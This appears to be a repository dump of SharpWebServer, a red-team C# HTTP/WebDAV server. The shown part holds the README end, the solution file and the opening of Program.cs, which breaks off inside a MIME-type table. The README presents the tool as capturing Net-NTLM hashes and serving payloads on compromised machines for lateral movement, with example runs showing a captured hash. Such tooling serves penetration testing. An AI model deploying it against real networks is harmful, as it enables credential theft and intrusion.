Net-NTLM hashes. 4 | To be used for serving payloads on compromised machines for lateral movement purposes. 5 | 6 | Requires .NET Framework 4.5 and _System.Net_ and _System.Net.Sockets_ references. 7 | 8 | ## Usage 9 | 10 | ```powershell 11 | :: SharpWebServer :: 12 | a Red Team oriented C# Simple HTTP Server with Net-NTLMv1/2 hashes capture functionality 13 | 14 | Authors: 15 | - Can Güney Aksakalli (github.com/aksakalli) - original implementation 16 | - harrypatrick442 (github.com/harrypatrick442) - aksakalli's fork & changes 17 | - Dominic Chell (@domchell) from MDSec - Net-NTLMv2 hashes capture code borrowed from Farmer 18 | - Mariusz Banach / mgeeky, - combined all building blocks together, 19 | added connection keep-alive to NTLM Authentication 20 | 21 | Usage: 22 | SharpWebServer.exe [dir=path] [verbose=true] [ntlm=true] [redir=true] [logfile=path] 23 | 24 | Options: 25 | port - TCP Port number on which to listen (1-65535) 26 | dir - Directory with files to be hosted. 27 | verbose - Turn verbose mode on. 28 | seconds - Specifies how long should the server be running. Default: indefinitely 29 | ntlm - Require NTLM Authentication before serving files. Useful to collect NetNTLM hashes 30 | (in MDSec's Farmer style) 31 | redir - Redirect after NTLM authentication based on redir paramerer in the url (e.g. ?redir=https://example.com) 32 | logfile - Path to output logfile. 33 | 34 | ``` 35 | 36 | ## Example 37 | 38 | Example use-case serving files and capturing Net-NTLM hashes at the same time: 39 | 40 | **Server**: 41 | 42 | ```powershell 43 | C:\> SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true ntlm=true 44 | 45 | :: SharpWebServer :: 46 | a Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality 47 | 48 | [.] Serving HTTP server on port : 8888 49 | [.] Will run for this long : 60 seconds 50 | [.] Verbose mode turned on. 51 | [.] NTLM mode turned on. 52 | [.] Serving files from directory : C:\Windows\Temp 53 | 54 | SharpWebServer [29.03.21, 17:55:14] NTLM: Sending 401 Unauthorized due to lack of Authorization header. 55 | SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - len: 0 (401) 56 | SharpWebServer [29.03.21, 17:55:14] NTLM: Sending 401 Unauthorized with NTLM Challenge Response. 57 | SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - len: 0 (401) 58 | 59 | [+] SharpWebServer: Net-NTLM hash captured: 60 | TestUser:::1122334455667788:66303EE2DF9417E2FE07E1B7FD663205:010100000000000092EC04E8B324D701C2B561D5FECBB325000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000045E18A336DA58F5F0F826F846C699F77DCCF02BA5135525AC52EFBB0C0A1F1160A0010000000000000000000000000000000000009001C0048005400540050002F006C006F00630061006C0068006F00730074000000000000000000 61 | 62 | SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - len: 11 (200) 63 | ``` 64 | 65 | **Client**: 66 | 67 | ```powershell 68 | C:\> curl -sD- http://localhost:8888/test.txt --ntlm --negotiate -u TestUser:TestPassword 69 | HTTP/1.1 401 Unauthorized 70 | Transfer-Encoding: chunked 71 | WWW-Authenticate: NTLM 72 | Date: Mon, 29 Mar 2021 15:55:14 GMT 73 | 74 | HTTP/1.1 401 Unauthorized 75 | Transfer-Encoding: chunked 76 | WWW-Authenticate: NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA== 77 | Date: Mon, 29 Mar 2021 15:55:14 GMT 78 | 79 | HTTP/1.1 200 OK 80 | Content-Length: 6 81 | Content-Type: text/plain 82 | Date: Mon, 29 Mar 2021 15:55:14 GMT 83 | 84 | foobar 85 | ``` 86 | 87 | **WebDAV client**: 88 | 89 | ```powershell 90 | C:\> dir \\localhost@8888\test 91 | Volume in drive \\localhost@8888\test has no label. 92 | Volume Serial Number is 0000-0000 93 | 94 | Directory of \\localhost@8888\test 95 | 96 | 30.03.2021 05:12 . 97 | 30.03.2021 05:12 .. 98 | 30.03.2021 04:27 11 test2.txt 99 | 30.03.2021 05:12 12 test3.txt 100 | 30.03.2021 05:12 test4 101 | 2 File(s) 23 bytes 102 | 3 Dir(s) 225 268 776 960 bytes free 103 | 104 | C:\> type \\localhost@8888\test\test4\test5.txt 105 | Hello world! 106 | 107 | C:\> copy \\localhost@8888\test\test4\test5.txt . 108 | 1 file(s) copied. 109 | ``` 110 | 111 | ## Authors 112 | 113 | - NTLM hashes capture code & TCP Listener backbone borrowed from MDSec ActiveBreach Farmer project written by Dominic Chell (@domchell): 114 | - https://github.com/mdsecactivebreach/Farmer 115 | 116 | - WebDAV implementation, NTLM Authentication keep-alive logic & all the rest `Mariusz Banach / mgeeky, '21, ` 117 | 118 | 119 | 120 | --- 121 | 122 | ### ☕ Show Support ☕ 123 | 124 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, 125 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 126 | 127 | --- 128 | 129 | ``` 130 | Mariusz Banach / mgeeky, 21 131 | 132 | (https://github.com/mgeeky) 133 | ``` 134 | -------------------------------------------------------------------------------- /SharpWebServer.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31105.61 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWebServer", "SharpWebServer\SharpWebServer.csproj", "{16B998D9-FF9E-4C3A-9C39-DE871FD111C8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {16B998D9-FF9E-4C3A-9C39-DE871FD111C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {16B998D9-FF9E-4C3A-9C39-DE871FD111C8}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {16B998D9-FF9E-4C3A-9C39-DE871FD111C8}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {16B998D9-FF9E-4C3A-9C39-DE871FD111C8}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {F7B6EA45-1C97-422D-BE99-742EF41D345C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpWebServer/Program.cs: -------------------------------------------------------------------------------- 1 | // 2 | // SharpWebServer 3 | // 4 | // Purpose: 5 | // A Red Team oriented C# Simple HTTP & WebDAV Server with Net-NTLM hashes capture functionality. 6 | // Requires .NET Framework 4.5 and System.Net and System.Net.Sockets references. 7 | // 8 | // This project borrows code from: 9 | // - NTLM hashes capture code & TCP Listener backbone borrowed from MDSec ActiveBreach Farmer project written by Dominic Chell (@domchell): 10 | // https://github.com/mdsecactivebreach/Farmer 11 | // 12 | // Patchworked by: 13 | // Mariusz Banach / mgeeky, '21, 14 | // 15 | 16 | using System; 17 | using System.Net; 18 | using System.Net.Sockets; 19 | using System.Threading; 20 | using System.Net.NetworkInformation; 21 | using System.IO; 22 | using System.Collections; 23 | using System.Collections.Generic; 24 | using System.Linq; 25 | using System.Runtime.InteropServices; 26 | using System.Xml; 27 | using System.Text; 28 | 29 | namespace SharpWebServer 30 | { 31 | public class SharpWebServer 32 | { 33 | private readonly string[] _IndexFiles = { 34 | "index.html", 35 | "index.htm", 36 | "default.html", 37 | "default.htm" 38 | }; 39 | 40 | static private string outputToFile = ""; 41 | 42 | private static IDictionary _MimeTypeMappings = new Dictionary(StringComparer.InvariantCultureIgnoreCase) { 43 | #region extension to MIME type list 44 | {".123", "application/vnd.lotus-1-2-3"}, 45 | {".3dml", "text/vnd.in3d.3dml"}, 46 | {".3g2", "video/3gpp2"}, 47 | {".3gp", "video/3gpp"}, 48 | {".a", "application/octet-stream"}, 49 | {".aab", "application/x-authorware-bin"}, 50 | {".aac", "audio/x-aac"}, 51 | {".aam", "application/x-authorware-map"}, 52 | {".aas", "application/x-authorware-seg"}, 53 | {".abw", "application/x-abiword"}, 54 | {".acc", "application/vnd.americandynamics.acc"}, 55 | {".ace", "application/x-ace-compressed"}, 56 | {".acu", "application/vnd.acucobol"}, 57 | {".acutc", "application/vnd.acucorp"}, 58 | {".adp", "audio/adpcm"}, 59 | {".aep", "application/vnd.audiograph"}, 60 | {".afm", "application/x-font-type1"}, 61 | {".afp", "application/vnd.ibm.modcap"}, 62 | {".ai", "application/postscript"}, 63 | {".aif", "audio/x-aiff"}, 64 | {".aifc", "audio/x-aiff"}, 65 | {".aiff", "audio/x-aiff"}, 66 | {".air", "application/vnd.adobe.air-application-installer-package+zip"}, 67 | {".ami", "application/vnd.amiga.ami"}, 68 | {".apk", "application/vnd.android.package-archive"}, 69 | {".application", "application/x-ms-application"}, 70 | {".apr", "application/vnd.lotus-approach"}, 71 | {".asc", "application/pgp-signature"}, 72 | {".asf", "video/x-ms-asf"}, 73 | {".asm", "text/x-asm"}, 74 | {".aso", "application/vnd.accpac.simply.aso"}, 75 | {".asx", "video/x-ms-asf"}, 76 | {".atc", "application/vnd.acucorp"}, 77 | {".atom", "application/atom+xml"}, 78 | {".atomcat", "application/atomcat+xml"}, 79 | {".atomsvc", "application/atomsvc+xml"}, 80 | {".atx", "application/vnd.antix.game-component"}, 81 | {".au", "audio/basic"}, 82 | {".avi", "video/x-msvideo"}, 83 | {".aw", "application/applixware"}, 84 | {".azf", "application/vnd.airzip.filesecure.azf"}, 85 | {".azs", "application/vnd.airzip.filesecure.azs"}, 86 | {".azw", "application/vnd.amazon.ebook"}, 87 | {".bat", "application/x-msdownload"}, 88 | {".bcpio", "application/x-bcpio"}, 89 | {".bdf", "application/x-font-bdf"}, 90 | {".bdm", "application/vnd.syncml.dm+wbxml"}, 91 | {".bh2", "application/vnd.fujitsu.oasysprs"}, 92 | {".bin", "application/octet-stream"}, 93 | {".bmi", "application/vnd.bmi"}, 94 | {".bmp", "image/bmp"}, 95 | {".book", "application/vnd.framemaker"}, 96 | {".box", "application/vnd.previewsystems.box"}, 97 | {".boz", "application/x-bzip2"}, 98 | {".bpk", "application/octet-stream"}, 99 | {".btif", "image/prs.btif"}, 100 | {".bz", "application/x-bzip"}, 101 | {".bz2", "application/x-bzip2"}, 102 | {".c", "text/x-c"}, 103 | {".c4d", "application/vnd.clonk.c4group"}, 104 | {".c4f", "application/vnd.clonk.c4group"}, 105 | {".c4g", "application/vnd.clonk.c4group"}, 106 | {".c4p", "application/vnd.clonk.c4group"}, 107 | {".c4u", "application/vnd.clonk.c4group"}, 108 | {".cab", "application/vnd.ms-cab-compressed"}, 109 | {".car", "application/vnd.curl.car"}, 110 | {".cat", "application/vnd.ms-pki.seccat"}, 111 | {".cc", "text/x-c"}, 112 | {".cct", "application/x-director"}, 113 | {".ccxml", "application/ccxml+xml"}, 114 | {".cdbcmsg", "application/vnd.contact.cmsg"}, 115 | {".cdf", "application/x-netcdf"}, 116 | {".cdkey", "application/vnd.mediastation.cdkey"}, 117 | {".cdx", "chemical/x-cdx"}, 118 | {".cdxml", "application/vnd.chemdraw+xml"}, 119 | {".cdy", "application/vnd.cinderella"}, 120 | {".cer", "application/pkix-cert"}, 121 | {".cgm", "image/cgm"}, 122 | {".chat", "application/x-chat"}, 123 | {".chm", "application/vnd.ms-htmlhelp"}, 124 | {".chrt", "application/vnd.kde.kchart"}, 125 | {".cif", "chemical/x-cif"}, 126 | {".cii", "application/vnd.anser-web-certificate-issue-initiation"}, 127 | {".cil", "application/vnd.ms-artgalry"}, 128 | {".cla", "application/vnd.claymore"}, 129 | {".class", "application/java-vm"}, 130 | {".clkk", "application/vnd.crick.clicker.keyboard"}, 131 | {".clkp", "application/vnd.crick.clicker.palette"}, 132 | {".clkt", "application/vnd.crick.clicker.template"}, 133 | {".clkw", "application/vnd.crick.clicker.wordbank"}, 134 | {".clkx", "application/vnd.crick.clicker"}, 135 | {".clp", "application/x-msclip"}, 136 | {".cmc", "application/vnd.cosmocaller"}, 137 | {".cmdf", "chemical/x-cmdf"}, 138 | {".cml", "chemical/x-cml"}, 139 | {".cmp", "application/vnd.yellowriver-custom-menu"}, 140 | {".cmx", "image/x-cmx"}, 141 | {".cod", "application/vnd.rim.cod"}, 142 | {".com", "application/x-msdownload"}, 143 | {".conf", "text/plain"}, 144 | {".cpio", "application/x-cpio"}, 145 | {".cpp", "text/x-c"}, 146 | {".cpt", "application/mac-compactpro"}, 147 | {".crd", "application/x-mscardfile"}, 148 | {".crl", "application/pkix-crl"}, 149 | {".crt", "application/x-x509-ca-cert"}, 150 | {".csh", "application/x-csh"}, 151 | {".csml", "chemical/x-csml"}, 152 | {".csp", "application/vnd.commonspace"}, 153 | {".css", "text/css"}, 154 | {".cst", "application/x-director"}, 155 | {".csv", "text/csv"}, 156 | {".cu", "application/cu-seeme"}, 157 | {".curl", "text/vnd.curl"}, 158 | {".cww", "application/prs.cww"}, 159 | {".cxt", "application/x-director"}, 160 | {".cxx", "text/x-c"}, 161 | {".daf", "application/vnd.mobius.daf"}, 162 | {".dataless", "application/vnd.fdsn.seed"}, 163 | {".davmount", "application/davmount+xml"}, 164 | {".dcr", "application/x-director"}, 165 | {".dcurl", "text/vnd.curl.dcurl"}, 166 | {".dd2", "application/vnd.oma.dd2+xml"}, 167 | {".ddd", "application/vnd.fujixerox.ddd"}, 168 | {".deb", "application/x-debian-package"}, 169 | {".def", "text/plain"}, 170 | {".deploy", "application/octet-stream"}, 171 | {".der", "application/x-x509-ca-cert"}, 172 | {".dfac", "application/vnd.dreamfactory"}, 173 | {".dic", "text/x-c"}, 174 | {".diff", "text/plain"}, 175 | {".dir", "application/x-director"}, 176 | {".dis", "application/vnd.mobius.dis"}, 177 | {".dist", "application/octet-stream"}, 178 | {".distz", "application/octet-stream"}, 179 | {".djv", "image/vnd.djvu"}, 180 | {".djvu", "image/vnd.djvu"}, 181 | {".dll", "application/x-msdownload"}, 182 | {".dmg", "application/octet-stream"}, 183 | {".dms", "application/octet-stream"}, 184 | {".dna", "application/vnd.dna"}, 185 | {".doc", "application/msword"}, 186 | {".docm", "application/vnd.ms-word.document.macroenabled.12"}, 187 | {".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, 188 | {".dot", "application/msword"}, 189 | {".dotm", "application/vnd.ms-word.template.macroenabled.12"}, 190 | {".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"}, 191 | {".dp", "application/vnd.osgi.dp"}, 192 | {".dpg", "application/vnd.dpgraph"}, 193 | {".dsc", "text/prs.lines.tag"}, 194 | {".dtb", "application/x-dtbook+xml"}, 195 | {".dtd", "application/xml-dtd"}, 196 | {".dts", "audio/vnd.dts"}, 197 | {".dtshd", "audio/vnd.dts.hd"}, 198 | {".dump", "application/octet-stream"}, 199 | {".dvi", "application/x-dvi"}, 200 | {".dwf", "model/vnd.dwf"}, 201 | {".dwg", "image/vnd.dwg"}, 202 | {".dxf", "image/vnd.dxf"}, 203 | {".dxp", "application/vnd.spotfire.dxp"}, 204 | {".dxr", "application/x-director"}, 205 | {".ecelp4800", "audio/vnd.nuera.ecelp4800"}, 206 | {".ecelp7470", "audio/vnd.nuera.ecelp7470"}, 207 | {".ecelp9600", "audio/vnd.nuera.ecelp9600"}, 208 | {".ecma", "application/ecmascript"}, 209 | {".edm", "application/vnd.novadigm.edm"}, 210 | {".edx", "application/vnd.novadigm.edx"}, 211 | {".efif", "application/vnd.picsel"}, 212 | {".ei6", "application/vnd.pg.osasli"}, 213 | {".elc", "application/octet-stream"}, 214 | {".eml", "message/rfc822"}, 215 | {".emma", "application/emma+xml"}, 216 | {".eol", "audio/vnd.digital-winds"}, 217 | {".eot", "application/vnd.ms-fontobject"}, 218 | {".eps", "application/postscript"}, 219 | {".epub", "application/epub+zip"}, 220 | {".es3", "application/vnd.eszigno3+xml"}, 221 | {".esf", "application/vnd.epson.esf"}, 222 | {".et3", "application/vnd.eszigno3+xml"}, 223 | {".etx", "text/x-setext"}, 224 | {".exe", "application/x-msdownload"}, 225 | {".ext", "application/vnd.novadigm.ext"}, 226 | {".ez", "application/andrew-inset"}, 227 | {".ez2", "application/vnd.ezpix-album"}, 228 | {".ez3", "application/vnd.ezpix-package"}, 229 | {".f", "text/x-fortran"}, 230 | {".f4v", "video/x-f4v"}, 231 | {".f77", "text/x-fortran"}, 232 | {".f90", "text/x-fortran"}, 233 | {".fbs", "image/vnd.fastbidsheet"}, 234 | {".fdf", "application/vnd.fdf"}, 235 | {".fe_launch", "application/vnd.denovo.fcselayout-link"}, 236 | {".fg5", "application/vnd.fujitsu.oasysgp"}, 237 | {".fgd", "application/x-director"}, 238 | {".fh", "image/x-freehand"}, 239 | {".fh4", "image/x-freehand"}, 240 | {".fh5", "image/x-freehand"}, 241 | {".fh7", "image/x-freehand"}, 242 | {".fhc", "image/x-freehand"}, 243 | {".fig", "application/x-xfig"}, 244 | {".fli", "video/x-fli"}, 245 | {".flo", "application/vnd.micrografx.flo"}, 246 | {".flv", "video/x-flv"}, 247 | {".flw", "application/vnd.kde.kivio"}, 248 | {".flx", "text/vnd.fmi.flexstor"}, 249 | {".fly", "text/vnd.fly"}, 250 | {".fm", "application/vnd.framemaker"}, 251 | {".fnc", "application/vnd.frogans.fnc"}, 252 | {".for", "text/x-fortran"}, 253 | {".fpx", "image/vnd.fpx"}, 254 | {".frame", "application/vnd.framemaker"}, 255 | {".fsc", "application/vnd.fsc.weblaunch"}, 256 | {".fst", "image/vnd.fst"}, 257 | {".ftc", "application/vnd.fluxtime.clip"}, 258 | {".fti", "application/vnd.anser-web-funds-transfer-initiation"}, 259 | {".fvt", "video/vnd.fvt"}, 260 | {".fzs", "application/vnd.fuzzysheet"}, 261 | {".g3", "image/g3fax"}, 262 | {".gac", "application/vnd.groove-account"}, 263 | {".gdl", "model/vnd.gdl"}, 264 | {".geo", "application/vnd.dynageo"}, 265 | {".gex", "application/vnd.geometry-explorer"}, 266 | {".ggb", "application/vnd.geogebra.file"}, 267 | {".ggt", "application/vnd.geogebra.tool"}, 268 | {".ghf", "application/vnd.groove-help"}, 269 | {".gif", "image/gif"}, 270 | {".gim", "application/vnd.groove-identity-message"}, 271 | {".gmx", "application/vnd.gmx"}, 272 | {".gnumeric", "application/x-gnumeric"}, 273 | {".gph", "application/vnd.flographit"}, 274 | {".gqf", "application/vnd.grafeq"}, 275 | {".gqs", "application/vnd.grafeq"}, 276 | {".gram", "application/srgs"}, 277 | {".gre", "application/vnd.geometry-explorer"}, 278 | {".grv", "application/vnd.groove-injector"}, 279 | {".grxml", "application/srgs+xml"}, 280 | {".gsf", "application/x-font-ghostscript"}, 281 | {".gtar", "application/x-gtar"}, 282 | {".gtm", "application/vnd.groove-tool-message"}, 283 | {".gtw", "model/vnd.gtw"}, 284 | {".gv", "text/vnd.graphviz"}, 285 | {".gz", "application/x-gzip"}, 286 | {".h", "text/x-c"}, 287 | {".h261", "video/h261"}, 288 | {".h263", "video/h263"}, 289 | {".h264", "video/h264"}, 290 | {".hbci", "application/vnd.hbci"}, 291 | {".hdf", "application/x-hdf"}, 292 | {".hh", "text/x-c"}, 293 | {".hlp", "application/winhlp"}, 294 | {".hpgl", "application/vnd.hp-hpgl"}, 295 | {".hpid", "application/vnd.hp-hpid"}, 296 | {".hps", "application/vnd.hp-hps"}, 297 | {".hqx", "application/mac-binhex40"}, 298 | {".htke", "application/vnd.kenameaapp"}, 299 | {".htm", "text/html"}, 300 | {".html", "text/html"}, 301 | {".hvd", "application/vnd.yamaha.hv-dic"}, 302 | {".hvp", "application/vnd.yamaha.hv-voice"}, 303 | {".hvs", "application/vnd.yamaha.hv-script"}, 304 | {".icc", "application/vnd.iccprofile"}, 305 | {".ice", "x-conference/x-cooltalk"}, 306 | {".icm", "application/vnd.iccprofile"}, 307 | {".ico", "image/x-icon"}, 308 | {".ics", "text/calendar"}, 309 | {".ief", "image/ief"}, 310 | {".ifb", "text/calendar"}, 311 | {".ifm", "application/vnd.shana.informed.formdata"}, 312 | {".iges", "model/iges"}, 313 | {".igl", "application/vnd.igloader"}, 314 | {".igs", "model/iges"}, 315 | {".igx", "application/vnd.micrografx.igx"}, 316 | {".iif", "application/vnd.shana.informed.interchange"}, 317 | {".imp", "application/vnd.accpac.simply.imp"}, 318 | {".ims", "application/vnd.ms-ims"}, 319 | {".in", "text/plain"}, 320 | {".ipk", "application/vnd.shana.informed.package"}, 321 | {".irm", "application/vnd.ibm.rights-management"}, 322 | {".irp", "application/vnd.irepository.package+xml"}, 323 | {".iso", "application/octet-stream"}, 324 | {".itp", "application/vnd.shana.informed.formtemplate"}, 325 | {".ivp", "application/vnd.immervision-ivp"}, 326 | {".ivu", "application/vnd.immervision-ivu"}, 327 | {".jad", "text/vnd.sun.j2me.app-descriptor"}, 328 | {".jam", "application/vnd.jam"}, 329 | {".jar", "application/java-archive"}, 330 | {".java", "text/x-java-source"}, 331 | {".jisp", "application/vnd.jisp"}, 332 | {".jlt", "application/vnd.hp-jlyt"}, 333 | {".jnlp", "application/x-java-jnlp-file"}, 334 | {".joda", "application/vnd.joost.joda-archive"}, 335 | {".jpe", "image/jpeg"}, 336 | {".jpeg", "image/jpeg"}, 337 | {".jpg", "image/jpeg"}, 338 | {".jpgm", "video/jpm"}, 339 | {".jpgv", "video/jpeg"}, 340 | {".jpm", "video/jpm"}, 341 | {".js", "application/javascript"}, 342 | {".json", "application/json"}, 343 | {".kar", "audio/midi"}, 344 | {".karbon", "application/vnd.kde.karbon"}, 345 | {".kfo", "application/vnd.kde.kformula"}, 346 | {".kia", "application/vnd.kidspiration"}, 347 | {".kil", "application/x-killustrator"}, 348 | {".kml", "application/vnd.google-earth.kml+xml"}, 349 | {".kmz", "application/vnd.google-earth.kmz"}, 350 | {".kne", "application/vnd.kinar"}, 351 | {".knp", "application/vnd.kinar"}, 352 | {".kon", "application/vnd.kde.kontour"}, 353 | {".kpr", "application/vnd.kde.kpresenter"}, 354 | {".kpt", "application/vnd.kde.kpresenter"}, 355 | {".ksh", "text/plain"}, 356 | {".ksp", "application/vnd.kde.kspread"}, 357 | {".ktr", "application/vnd.kahootz"}, 358 | {".ktz", "application/vnd.kahootz"}, 359 | {".kwd", "application/vnd.kde.kword"}, 360 | {".kwt", "application/vnd.kde.kword"}, 361 | {".latex", "application/x-latex"}, 362 | {".lbd", "application/vnd.llamagraphics.life-balance.desktop"}, 363 | {".lbe", "application/vnd.llamagraphics.life-balance.exchange+xml"}, 364 | {".les", "application/vnd.hhe.lesson-player"}, 365 | {".lha", "application/octet-stream"}, 366 | {".link66", "application/vnd.route66.link66+xml"}, 367 | {".list", "text/plain"}, 368 | {".list3820", "application/vnd.ibm.modcap"}, 369 | {".listafp", "application/vnd.ibm.modcap"}, 370 | {".log", "text/plain"}, 371 | {".lostxml", "application/lost+xml"}, 372 | {".lrf", "application/octet-stream"}, 373 | {".lrm", "application/vnd.ms-lrm"}, 374 | {".ltf", "application/vnd.frogans.ltf"}, 375 | {".lvp", "audio/vnd.lucent.voice"}, 376 | {".lwp", "application/vnd.lotus-wordpro"}, 377 | {".lzh", "application/octet-stream"}, 378 | {".m13", "application/x-msmediaview"}, 379 | {".m14", "application/x-msmediaview"}, 380 | {".m1v", "video/mpeg"}, 381 | {".m2a", "audio/mpeg"}, 382 | {".m2v", "video/mpeg"}, 383 | {".m3a", "audio/mpeg"}, 384 | {".m3u", "audio/x-mpegurl"}, 385 | {".m4u", "video/vnd.mpegurl"}, 386 | {".m4v", "video/x-m4v"}, 387 | {".ma", "application/mathematica"}, 388 | {".mag", "application/vnd.ecowin.chart"}, 389 | {".maker", "application/vnd.framemaker"}, 390 | {".man", "text/troff"}, 391 | {".mathml", "application/mathml+xml"}, 392 | {".mb", "application/mathematica"}, 393 | {".mbk", "application/vnd.mobius.mbk"}, 394 | {".mbox", "application/mbox"}, 395 | {".mc1", "application/vnd.medcalcdata"}, 396 | {".mcd", "application/vnd.mcd"}, 397 | {".mcurl", "text/vnd.curl.mcurl"}, 398 | {".mdb", "application/x-msaccess"}, 399 | {".mdi", "image/vnd.ms-modi"}, 400 | {".me", "text/troff"}, 401 | {".mesh", "model/mesh"}, 402 | {".mfm", "application/vnd.mfmp"}, 403 | {".mgz", "application/vnd.proteus.magazine"}, 404 | {".mht", "message/rfc822"}, 405 | {".mhtml", "message/rfc822"}, 406 | {".mid", "audio/midi"}, 407 | {".midi", "audio/midi"}, 408 | {".mif", "application/vnd.mif"}, 409 | {".mime", "message/rfc822"}, 410 | {".mj2", "video/mj2"}, 411 | {".mjp2", "video/mj2"}, 412 | {".mlp", "application/vnd.dolby.mlp"}, 413 | {".mmd", "application/vnd.chipnuts.karaoke-mmd"}, 414 | {".mmf", "application/vnd.smaf"}, 415 | {".mmr", "image/vnd.fujixerox.edmics-mmr"}, 416 | {".mny", "application/x-msmoney"}, 417 | {".mobi", "application/x-mobipocket-ebook"}, 418 | {".mov", "video/quicktime"}, 419 | {".movie", "video/x-sgi-movie"}, 420 | {".mp2", "audio/mpeg"}, 421 | {".mp2a", "audio/mpeg"}, 422 | {".mp3", "audio/mpeg"}, 423 | {".mp4", "video/mp4"}, 424 | {".mp4a", "audio/mp4"}, 425 | {".mp4s", "application/mp4"}, 426 | {".mp4v", "video/mp4"}, 427 | {".mpa", "video/mpeg"}, 428 | {".mpc", "application/vnd.mophun.certificate"}, 429 | {".mpe", "video/mpeg"}, 430 | {".mpeg", "video/mpeg"}, 431 | {".mpg", "video/mpeg"}, 432 | {".mpg4", "video/mp4"}, 433 | {".mpga", "audio/mpeg"}, 434 | {".mpkg", "application/vnd.apple.installer+xml"}, 435 | {".mpm", "application/vnd.blueice.multipass"}, 436 | {".mpn", "application/vnd.mophun.application"}, 437 | {".mpp", "application/vnd.ms-project"}, 438 | {".mpt", "application/vnd.ms-project"}, 439 | {".mpy", "application/vnd.ibm.minipay"}, 440 | {".mqy", "application/vnd.mobius.mqy"}, 441 | {".mrc", "application/marc"}, 442 | {".ms", "text/troff"}, 443 | {".mscml", "application/mediaservercontrol+xml"}, 444 | {".mseed", "application/vnd.fdsn.mseed"}, 445 | {".mseq", "application/vnd.mseq"}, 446 | {".msf", "application/vnd.epson.msf"}, 447 | {".msh", "model/mesh"}, 448 | {".msi", "application/x-msdownload"}, 449 | {".msl", "application/vnd.mobius.msl"}, 450 | {".msty", "application/vnd.muvee.style"}, 451 | {".mts", "model/vnd.mts"}, 452 | {".mus", "application/vnd.musician"}, 453 | {".musicxml", "application/vnd.recordare.musicxml+xml"}, 454 | {".mvb", "application/x-msmediaview"}, 455 | {".mwf", "application/vnd.mfer"}, 456 | {".mxf", "application/mxf"}, 457 | {".mxl", "application/vnd.recordare.musicxml"}, 458 | {".mxml", "application/xv+xml"}, 459 | {".mxs", "application/vnd.triscape.mxs"}, 460 | {".mxu", "video/vnd.mpegurl"}, 461 | {".n-gage", "application/vnd.nokia.n-gage.symbian.install"}, 462 | {".nb", "application/mathematica"}, 463 | {".nc", "application/x-netcdf"}, 464 | {".ncx", "application/x-dtbncx+xml"}, 465 | {".ngdat", "application/vnd.nokia.n-gage.data"}, 466 | {".nlu", "application/vnd.neurolanguage.nlu"}, 467 | {".nml", "application/vnd.enliven"}, 468 | {".nnd", "application/vnd.noblenet-directory"}, 469 | {".nns", "application/vnd.noblenet-sealer"}, 470 | {".nnw", "application/vnd.noblenet-web"}, 471 | {".npx", "image/vnd.net-fpx"}, 472 | {".nsf", "application/vnd.lotus-notes"}, 473 | {".nws", "message/rfc822"}, 474 | {".o", "application/octet-stream"}, 475 | {".oa2", "application/vnd.fujitsu.oasys2"}, 476 | {".oa3", "application/vnd.fujitsu.oasys3"}, 477 | {".oas", "application/vnd.fujitsu.oasys"}, 478 | {".obd", "application/x-msbinder"}, 479 | {".obj", "application/octet-stream"}, 480 | {".oda", "application/oda"}, 481 | {".odb", "application/vnd.oasis.opendocument.database"}, 482 | {".odc", "application/vnd.oasis.opendocument.chart"}, 483 | {".odf", "application/vnd.oasis.opendocument.formula"}, 484 | {".odft", "application/vnd.oasis.opendocument.formula-template"}, 485 | {".odg", "application/vnd.oasis.opendocument.graphics"}, 486 | {".odi", "application/vnd.oasis.opendocument.image"}, 487 | {".odp", "application/vnd.oasis.opendocument.presentation"}, 488 | {".ods", "application/vnd.oasis.opendocument.spreadsheet"}, 489 | {".odt", "application/vnd.oasis.opendocument.text"}, 490 | {".oga", "audio/ogg"}, 491 | {".ogg", "audio/ogg"}, 492 | {".ogv", "video/ogg"}, 493 | {".ogx", "application/ogg"}, 494 | {".onepkg", "application/onenote"}, 495 | {".onetmp", "application/onenote"}, 496 | {".onetoc", "application/onenote"}, 497 | {".onetoc2", "application/onenote"}, 498 | {".opf", "application/oebps-package+xml"}, 499 | {".oprc", "application/vnd.palm"}, 500 | {".org", "application/vnd.lotus-organizer"}, 501 | {".osf", "application/vnd.yamaha.openscoreformat"}, 502 | {".osfpvg", 